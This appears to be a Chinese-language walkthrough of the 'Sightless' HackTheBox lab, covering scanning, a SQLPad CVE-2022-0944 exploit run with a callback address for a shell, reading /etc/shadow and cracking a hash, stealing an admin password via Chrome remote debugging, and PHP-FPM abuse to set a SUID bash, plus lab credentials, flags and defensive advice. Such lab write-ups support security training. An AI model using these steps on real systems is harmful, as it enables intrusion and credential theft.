Sightless 渗透测试实战教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>
目标IP: 10.10.11.32<\/li>
域名: sightless.htb 和 sqlpad.sightless.htb<\/li>
操作系统: Ubuntu Linux (基于SSH版本信息)<\/li> <\/ul>
1.2 端口扫描结果<\/h3>
使用Nmap进行扫描:<\/p>
nmap -p- 10.10.11.32 --min-rate 1000 -sC -sV
<\/code><\/pre>
开放端口:<\/p>

21\/tcp: FTP (ProFTPD Server)<\/li>
22\/tcp: SSH (OpenSSH 8.9p1)<\/li>
80\/tcp: HTTP (nginx 1.18.0)<\/li>
<\/ul>
1.3 服务指纹<\/h3>

FTP服务显示特殊响应: "try being more creative"<\/li>
Web服务器为nginx 1.18.0<\/li>
SSH版本显示Ubuntu 3ubuntu0.10<\/li>
<\/ul>
2. Web应用渗透<\/h2>
2.1 域名配置<\/h3>
将目标域名添加到本地hosts文件:<\/p>
echo '10.10.11.32 sightless.htb' >> \/etc\/hosts
echo '10.10.11.32 sqlpad.sightless.htb' >> \/etc\/hosts
<\/code><\/pre>
2.2 SQLPad漏洞利用<\/h3>
发现SQLPad应用存在CVE-2022-0944漏洞<\/p>
利用步骤:<\/p>

下载漏洞利用脚本:
https:\/\/github.com\/shhrew\/CVE-2022-0944
<\/code><\/pre>
<\/li>
执行攻击:
python3 main.py http:\/\/sqlpad.sightless.htb 10.10.16.10 10032
<\/code><\/pre>
<\/li>
获取初始访问权限: root(fack) -> michael<\/li>
<\/ol>
3. 权限提升与密码破解<\/h2>
3.1 Shadow哈希获取<\/h3>
进入系统后查看\/etc\/shadow文件:<\/p>
cat \/etc\/shadow
<\/code><\/pre>
获取到michael用户的哈希:<\/p>
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh\/pL2IJD\/
<\/code><\/pre>
3.2 哈希破解<\/h3>
使用hashcat进行破解:<\/p>
hashcat -a 0 hash \/usr\/share\/wordlists\/rockyou.txt --force
<\/code><\/pre>
破解结果: 密码为"insaneclownposse"<\/p>
3.3 SSH登录<\/h3>
使用破解的密码通过SSH登录:<\/p>
ssh michael@10.10.11.32
<\/code><\/pre>
获取user flag:<\/p>
75ce007325d8c9b8c70ab263b7b73da8
<\/code><\/pre>
4. 权限提升技术<\/h2>
4.1 端口转发<\/h3>
建立SSH隧道转发多个端口:<\/p>
ssh michael@10.10.11.32 \
-L 8080:127.0.0.1:8080 \
-L 3306:127.0.0.1:3306 \
-L 60469:127.0.0.1:60469 \
-L 38871:127.0.0.1:38871 \
-L 35295:127.0.0.1:35295 \
-L 3000:127.0.0.1:3000 \
-L 33060:127.0.0.1:33060
<\/code><\/pre>
4.2 Chrome远程调试利用<\/h3>
发现john用户以--remote-debugging-port模式启动了Chrome<\/p>
攻击步骤:<\/p>

安装Chrome浏览器(如需):
wget https:\/\/dl.google.com\/linux\/direct\/google-chrome-stable_current_amd64.deb
<\/code><\/pre>
<\/li>
访问chrome:\/\/inspect\/#devices<\/li>
使用已知凭据登录管理界面:

用户名: admin<\/li>
密码: ForlorfroxAdmin<\/li>
<\/ul>
<\/li>
通过Chrome调试器截获John输入的管理员密码<\/li>
<\/ol>
4.3 PHP-FPM命令执行<\/h3>
利用Forxlor的PHP-FPM功能执行命令:<\/p>


访问管理界面:<\/p>
http:\/\/127.0.0.1:8080\/admin_phpsettings.php?page=fpmdaemons&action=add
<\/code><\/pre>
<\/li>

创建恶意PHP-FPM版本，包含要执行的命令:<\/p>

方法1: 使用rev.sh脚本
cp \/bin\/bash \/tmp;chmod +s \/tmp\/bash
<\/code><\/pre>
<\/li>
方法2: 直接命令
chmod 4755 \/bin\/bash
<\/code><\/pre>
<\/li>
<\/ul>
<\/li>

重启PHP-FPM服务:<\/p>
http:\/\/127.0.0.1:8080\/admin_settings.php?page=overview&part=phpfpm
<\/code><\/pre>
先禁用并保存，然后再次启动保存<\/p>
<\/li>

执行特权bash:<\/p>
\/tmp\/bash -p
<\/code><\/pre>
<\/li>

获取root flag:<\/p>
9047f8db692036cd19e6bbfbc92708fb
<\/code><\/pre>
<\/li>
<\/ol>
5. 关键知识点总结<\/h2>

SQLPad漏洞利用<\/strong>: CVE-2022-0944允许远程代码执行<\/li>
密码破解技术<\/strong>: 使用hashcat破解shadow哈希<\/li>
Chrome远程调试<\/strong>: 利用--remote-debugging-port参数窃取敏感信息<\/li>
PHP-FPM滥用<\/strong>: 通过管理界面配置恶意PHP-FPM实现命令执行<\/li>
权限维持<\/strong>: 通过setuid位提升权限<\/li>
<\/ol>
6. 防御建议<\/h2>

及时更新Web应用(如SQLPad)到最新版本<\/li>
使用强密码策略，避免使用常见密码<\/li>
限制Chrome远程调试功能的使用<\/li>
严格控制PHP-FPM等服务的配置权限<\/li>
监控系统日志中的异常行为，如shadow文件访问<\/li>
<\/ol>